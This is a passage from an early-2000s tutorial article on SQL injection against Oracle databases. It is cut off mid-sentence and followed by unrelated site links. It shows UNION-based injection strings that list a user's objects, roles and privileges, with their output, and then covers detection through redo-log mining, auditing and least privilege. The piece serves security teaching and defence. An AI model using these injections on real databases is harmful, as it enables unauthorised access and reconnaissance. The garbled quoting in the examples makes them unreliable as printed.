|
SQL Injection and Oracle, Part Two byPete Finnigan last updated November 28, 2002
This is the second part of a two-part article that will examine SQL injection attacks against Oracle databases. The first installment offered an overview of SQL injection and looked at how Oracle database applications are vulnerable to this attack, and looked at some examples. This segment will look at enumerating the privileges, detecting SQL injection attacks, and protecting against SQL injection. Enumerating the Privileges Access to SQL inject an Oracle database is great, but what would an attacker look for to gain an advantage or a potential step up. He would, of course, need to enumerate the user he had access to and see what that user can see and do. I will show a few examples here to give the reader an idea of what is possible. In this example, we are logged in as the user dbsnmp and the get_cust procedure has been modified to select three columns from our sample table. If we use a union to extend an existing select statement then the new SQL in the union must select the same number of columns and data types as the existing hijacked select otherwise an error occurs, see the following: SQL> exec get_cust(''''x'''''''' union select 1,''''''''Y'''''''' from sys.dual where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=''''x'''' union select 1,''''Y'''' from sys.dual where ''''x''''=''''x''''
-1789ORA-01789: query block has incorrect number of result columns
The main select has three varchar columns but we select two columns and one is a number; as a result, an error occurs. Back to enumeration, first get the objects that the user we are logged in as can see: SQL> exec get_cust(''''x'''''''' union select object_name,object_type,''''''''x'''''''' from user_obj
ects where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=''''x'''' union select object_name,object_type,''''x'''' from
user_objects where ''''x''''=''''x''''
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x
Then get the roles that have been allocated directly to the user: SQL> exec get_cust(''''x'''''''' union select granted_role,admin_option,default_role from
user_role_privs where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=''''x'''' union select granted_role,admin_option,default_role
from user_role_privs where ''''x''''=''''x''''
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES
Then find out the system privileges that are granted directly to the user: SQL> exec get_cust(''''x'''''''' union select privilege,admin_option,''''''''X'''''''' from user_sys_
privs where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=''''x'''' union select privilege,admin_option,''''X'''' from
user_sys_privs where ''''x''''=''''x''''
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X
Selecting from the table USER_TAB_PRIVS will give the privileges granted directly to the user on objects. There are many system views that start USER_%, these show objects and privileges that are granted to the current user as well as details about objects owned by the user. For instance, there are 168 views or tables in Oracle 8.1.7, so this gives an indication of the amount of detail that can be learned about the user you are logged in as. These USER_% views do not include all the many privileges and options available to the current user; however, besides those specifically granted, any user also can include all of the objects that have permissions granted to PUBLIC. PUBLIC is a catch-all that is available to all users in the Oracle database. There is a good set of views, known as the ALL_% views, that is similar in construction to the USER_% views. These include every item available to the current user, including PUBLIC ones. A good place to start is the view ALL_OBJECTS, as it has a similar structure to USER_OBJECTS and will display every object and its type available to the current user. A good query to see all of the objects, their types and owner available would be: select count(*),object_type,owner
from all_objects
group by object_type,owner
The V$ views is also a good set of views, provided they are available to the user. These give information about the current instance, performance, parameters, and the like. V$PARAMETER, which gives all of the database instance initialization parameters, including details of the UTL_FILE directories is a good example. V$PROCESS and V$SESSION are another pair of views that will give details of current sessions and processes. These will tell the user who is logged on, where they are logged in from, and what program they are using, etc. In conclusion to this exploration section it is worth mentioning that because I wanted to make easy examples that anyone with a copy of the Oracle RDBMS could try out, I used a PL/SQL procedure to demonstrate the techniques and obviously I had access to my source code. It made it easy for me to understand exactly the SQL I could send successfully without causing errors. In the real world, in a Web-based environment, or in a network-based application, the source code would probably not be available. As a result, working out how to get successful SQL to send will probably require trial and error. If error messages are returned to the user either directly from the Oracle RDBMS or from the application, then it is usually possible to work out where to change the SQL. An absence of error messages makes it harder but not impossible. All of the Oracle error messages are quite well documented and are available on-line on a Unix system with the oerr command or with the HTML documentation provided with Oracle CDs on any platform. (Remember anyone can get a copy of Oracle to use to learn the product.) They are also on-line, along with the complete Oracle documentation, at http://tahiti.oracle.com/. Having knowledge of Oracle and of the schema of the user being used is also a great advantage. Quite obviously, some of this knowledge is not hard to learn, so the lesson is that in case anyone is able to SQL inject into your database then you need to minimize what they can do, see, or access. Detecting SQL Injection Oracle is a large product and is applied in many diverse uses, so to say that SQL injection can be detected would be wrong; however, in some cases, it should be possible for the DBA or security admin to spot whether or not this technique is being used. If abuse is thought to be taking place then forensic investigations can be done using the redo logs. A GUI tool called Log Miner is available from Oracle to allow the redo logs to be analysed. However, this has serious restrictions: until version 9i, select statements could not be retrieved. The redo logs allow Oracle to replay all of the events that altered data in the database, this is part of the recovery functionality. It is possible to see all statements and data that has been altered. Two PL/SQL standard packages, DBMS_LOGMNR and DBMS_LOGMNR_D, are available, these packages allow the redo logs to be queried from the command line for all statements processed. The extensive Oracle audit functionality can be utilized but, again, unless you know what you are looking for, finding evidence of SQL injection taking place could like finding a needle in a haystack. The principle of least privilege should be observed in any Oracle database so that only those privileges that are actually needed are granted to the application database users. This simplifies (minimizes) what can be legally done and, as a result, makes any actions outside the scope of these users easier to spot. For instance, if the application user should have access to seven tables and three procedures and nothing else, then using Oracle audit to record select failures on all other tables would enable an administrator to spot any attempted access to any table outside the applications realm. This can be done, for example, for one table with the following audit command: SQL> audit select on dbsnmp.customers by access whenever not successful;
Audit succeeded.
A simple script can be built to generate the audit statements for the tables needed. There should be no real performance issues with this audit, as no other tables should be accessed by the application. As a result, it should not therefore generate audit. Of course, if someone successfully accesses a table outside the realm, it would not be captured. This is merely intended as a first step. The same audit principles can be used to audit DDL, inserts and update failures or successes. The new SANS guide (see references) has a whole chapter on audit. Another idea could be to watch the SQL executed and look for any dodgy SQL. A good script called peep.sq can be used to access the SQL executed from the SGA is one called from http://www.oriole.com/frameindexSA.html, search down the list of free scripts and get it. The script gives the SQL stat [1] [2] [3] 下一页 [Access]sql随机抽取记录 [Access]ASP&SQL让select查询结果随机排序的实现方法 [系统软件]EXP-00008: ORACLE error 904 encountered的解决方… [系统软件]Explanation of UFT-8 and Unicode [系统软件]Using dllimport and dllexport in C++ Classes [系统软件]SQL语句性能优化--LECCO SQL Expert [常用软件]神奇 我家的照片会唱歌 照片会唱歌 [常用软件]PB7 连接 Oracle 的配置方法 [C语言系列]SQL Server到DB2连接服务器的实现 [C语言系列]SQL Server到SYBASE连接服务器的实现
|